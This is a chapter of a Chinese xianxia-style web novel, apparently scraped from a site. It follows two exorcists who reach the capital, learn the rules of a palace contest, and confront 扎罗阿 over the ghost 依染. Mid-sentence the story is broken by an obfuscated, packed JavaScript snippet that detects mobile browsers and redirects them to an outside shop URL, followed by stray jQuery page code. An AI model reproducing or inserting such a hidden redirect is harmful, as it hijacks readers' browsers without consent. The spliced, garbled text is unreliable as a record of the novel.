老农可能也没想到,我们会跑到他家里来。
他知道我们身上有那个鬼鬼祟祟的,绿色的,还长着脑袋的东西,他自己被吓晕过一次,所以现在看见我们,死活都不敢靠近。
可是他的女人又不知道我们身上有鬼东西,还热情地想请我们进屋休息,这就让他为难了。
他想过来,又怕我和胡为民对他不利。他不过来,又怕我和胡为民对他女人不利。
我看着老农整个人都在发抖,就知道他害怕了,但是又舍不下他的女人自己跑,连忙安慰他:
“大哥,我们不进屋。我们就是想打听一下,去京城的路怎么走?”
老农太紧张,没有说话,倒是农妇干脆利落的开口了:
“哎哟,你们要从这里去到京城,那可不是一天两天的事。如果有马,差不多个月能到。如果只是走的话,估计一年都回不去。”
胡为民听了农妇的话,下意识的抬头去看天空。
我知道他在想什么,他肯定在心里想着,如果让吞天藤带我们飞的话,估计也就几天的功夫吧?
我怕胡为民说漏了嘴,连忙谢过农妇,拉着胡为民就要离开。
胡为民被我冰凉瘆人的手碰到,一下子就甩开了我:
“山桥,你这手怎么这么凉啊?你是不是病了?”
我气的都有点哆嗦了,恨不得给胡为民两个大耳巴子。
这是,那位农妇也凑了上来:
“要是实在不舒服,可以在我家歇两天再走。我让当家的弄点草药给你治治病。”
我看着农妇心想,你当家的愿意给我治病,我还不敢让他给我治呢。万一他在草药里做点手脚,我估计就真的会去到阴曹地府了。
我拉着胡为民执意要走,好心的农妇还在后面喊怎么去京城的路线。
胡为民一边回头给农妇道谢,一边说我:
“”你看你,大姐一片好心你不接受,大姐还担心你找不到路。你不去他家,是不是觉得大姐会害你?”
我说:
“我没说大姐要害我,可是你看看刚才她那个当家的。他在苞谷地里被吞天藤都吓晕过去了,你怎么好意思还去他家里休息?”
胡为民不以为然:
“就说是他眼花看错了,反正他又不可能撩开你的衣服去看。”
我摇摇头:
“多一事不如少一事,我们的目的是京城,老是想着留在这里做什么?”
胡为民还在嘟囔,意思农妇本人挺善良的,我们不该拂了人家的好意。
胡为民嘟囔个不停,我一个恶狠狠的眼神甩过去,他立马闭了嘴。
我拉着胡为民匆匆离开,一直走到看不见炊烟的地方,才停了下来。
这里还是荒凉,刚才忘了问农妇,这里到底是什么地方,这会也不敢再回去问了。
地方荒凉,就算有钱也买不到马,只能委屈吞天藤再带我们飞一次。
只不过这次毕竟是回到了有人的地方,所以我不敢大意,只能让吞天藤把我和胡为民小小的提起来一点,然后就贴着地面往前飞。
其实我们贴地飞行还是很诡异的,虽然这么飞了好久都没有碰到一个人。但是我知道,一旦碰到人,我们还是能把人家吓死。
不过幸运的是,我们一路贴地飞了很久后,终于来到一座人烟稠密的集镇上。
胡为民掏尽身上所有的碎银子,买了两匹马回来。我们又骑着马,一路心急火燎地往京城赶。
终于进了京城,嘴馋的胡为民非要大吃特吃一顿才肯干活。
“盛月苑的八宝鸭,和顺堂的酒糟鸡,我现在只是说说,口水都能流下来。”
我说:
“先摸摸自己的口袋,再说你要不要流口水吧。”
胡为民兜里已经没钱了,他把所有的钱都买了马。
果然,我牵着马在前面走着,胡为民“噗踏噗踏”的脚步声就追了上来。
“等下次出门,我一定要做件带夹层的褂子,给你们塞满银钱。”
到了京城的中心,胡为民想回去看看绣月,我急着找扎罗阿救青颜。我让胡为民一个人去吕府,我自己去见扎罗阿,但是胡为民不放心我:
“算了,绣月有吕老爷守护,我还是陪你去见扎罗阿吧。”
我没有和胡为民再推脱,两个人齐齐往皇宫而去。
到了皇宫,我们先找到之前给我们安排住处的那个小太监。小太监一见我们,就知道他有油水捞了,也是特别的热情。
“只不过啊,二位宫师去了太久,这宫里的斗法大会第一轮已经比赛完了,二位宫师没有成绩,可得好好准备第二轮的。”
我问小太监第二轮比什么,小太监说:
“各位驱鬼师捉鬼完了,接下来就是有了名次的几位各自斗法了。不过,”
小太监说着就嘿嘿只笑,几个指头有意无意的搓捏起来。
我虽然知道小太监什么意思,但是胡为民身上没有碎银子,我也没东西给他。
还是胡为民反应快,立马过去握住小太监的手说:
“公公,我兄弟二人出门几天,身上的钱都花没了。公公要是信得过,就先
给我们说事,回头我们一定重谢公公。”
小太监也不尴尬,反手拍了拍胡为民的手说:
“胡宫师见外了,以后在宫里我们又不是不见面,我信得过二位宫师的。”
接着,小太监就仔细给我们说了斗法的事。
“这斗法啊,说白了就是斗各自的法器和宝贝。和出门驱鬼相比,斗法属于文斗。就是各位驱鬼师和能人异士们,把自己最得意的法器都亮出来,现场展示法器的能力,看看谁的更厉害。”
我听的一头雾水:
“驱鬼就要用法器,既然这些人已经驱鬼成功,不就能证明谁的法器厉害吗?怎么还用得着再斗法器?”
小太监拖着长长的尾音“嗯”了一声:
“这次驱鬼成功的驱鬼师们,人数不下上百个。大家都是驱鬼成功了,就分不出来高低。必须把法器再亮一遍,才能知道谁的更厉害。”
我点了点头,“哦”了一声。
其实我们回来先找小太监,就是为了先了解一下斗法大会的事。因为我们还想着,能不能把我们去阴曹地府的事,作为参加斗法大会中驱鬼这个环节的成果展示出来。
但是小太监却说:
“驱鬼,就是杀鬼。也就是说要把那个鬼的来龙去脉,和死后的样子拿给众人看。二位宫师现在带着那个女子回来也行,但是要杀了她,才能在第一轮里面有成绩。”
小太监此话一出,我背上的依染就哆嗦了一下。
我们肯定不能杀依染,我们还要拿她去换青颜。再说依染已经以身成药,如果仅仅是为了这点虚名杀了她,岂不是暴殄天物?
就在这时,我突然感觉我和胡为民好像被扎罗阿给耍了。
扎罗阿既然知道斗法大会的第一轮是驱鬼,也应该知道要杀鬼才有名次。可是他骗我们去找依染,又拿青颜和依染换,就证明他肯定依染不会死在我和胡为民手里。也就是说,他已经堵死了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14230749|151330||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
我们在斗法大会第一轮拿名次的可能。
都怪我和胡为民,没有把这些东西了解清楚。当时只是急着救青颜,也没有找小太监来问问。
可是再想想,即便我和胡为民知道这些又怎样?青颜已经在扎罗阿手里了,我们不可能不管她的生死,而去争取斗法大会的名次。
小太监没在胡为民这里现捞到油水,多少有点扫兴。只匆匆说了斗法器的大概时间,就借口有事离开了。
正好,我们也要去找扎罗阿,也就没有和小太监多说。
来到扎罗阿的住的“映月阁”,扎罗阿似乎料到我们今天会来,里外的门都大开着。
进了扎罗阿的那间屋子,扎罗阿就像是从没换过地方一样,还坐在那把椅子上,脸上还是看着不明显,但是确实有点笑意的脸。
“二位宫师,你们可比我想象的要慢了许多。”
我听的气不打一出来,这家伙真是站着说话不腰疼,知不知道我们在外面受了多少罪,知不知道我们差点死在阴曹地府回不来?
我心里气着,再看着扎罗阿那张要死不活的脸,突然就发现,他好像把我和胡为民当做给他跑腿的小喽啰一样使唤了。
就在我正要开口怼扎罗阿的时候,他突然朝身后招招手,把青颜引了出来。
“我的小师妹呢?”
依染还趴在我的背上,我从怀里拽出吞天藤,吞天藤的身子还缠在依染的身上。
我知道扎罗阿能看见依染:
“看仔细了,这个,应该就是你要找的那位女子吧?”
扎罗阿在看到依染的瞬间,眼睛就亮了:
“是她,她就是我的小师妹。”
扎罗阿有点失态,从椅子上起身想过来的时候,竟然把椅子都带倒在地上。
扎罗阿想过来牵依染的手,依染满脸恐惧地摇着头,吞天藤带着她“呼”地一声就退后了一大截。
扎罗阿这才把注意力放在腰带一样细长的吞天藤身上:
“此物……”
我说:
“你的小师妹,现在只是一堆随时能散开的三魂七魄。如果不是我用此法器护她,就不可能把她从阴曹地府带出来。”
扎罗阿可能没想到会这样,稍微愣了一下就对我说:
“那就谢谢二位宫师了,你们现在把她交给我,我有办法让她魂魄不散。”
扎罗阿说着又朝依染靠近,可是依染还是摇头,吞天藤又拉着她后退。
扎罗阿做出一副小心翼翼的样子对依染说:
“小师妹,我是你大师兄啊。是我让人找你回来的,你现在可以和我走了。”
依染不说话,只是看着扎罗阿,满脸惊恐地摇头。
依染一直摇头,吞天藤就一直带着她躲避扎罗阿。他们三个围着屋子都转了好几圈了,扎罗阿终于不耐烦了:
“二位宫师,我说话算话。你们的小妹,你们现在就可以带走。也请二位宫师收回自己的法器,把小师妹给我留下。”
我好整以暇地拂了拂衣服,把根本不存在的灰掸了掸,然后才不紧不慢地问扎罗阿:
“扎罗阿,还记得当初你让我们兄弟二人去找你小师妹时,你说她是被人迫害而死。可是我兄弟二人从
你小师妹嘴里听到的,却是那个害她的人是你,这到底是怎么回事?”
我以为我这句话很有杀伤力,最起码会让扎罗阿手足无措起来。
果然,扎罗阿确实手足无措了一下,可是他开口说的话却是:
“什么?我的小师妹会说话?”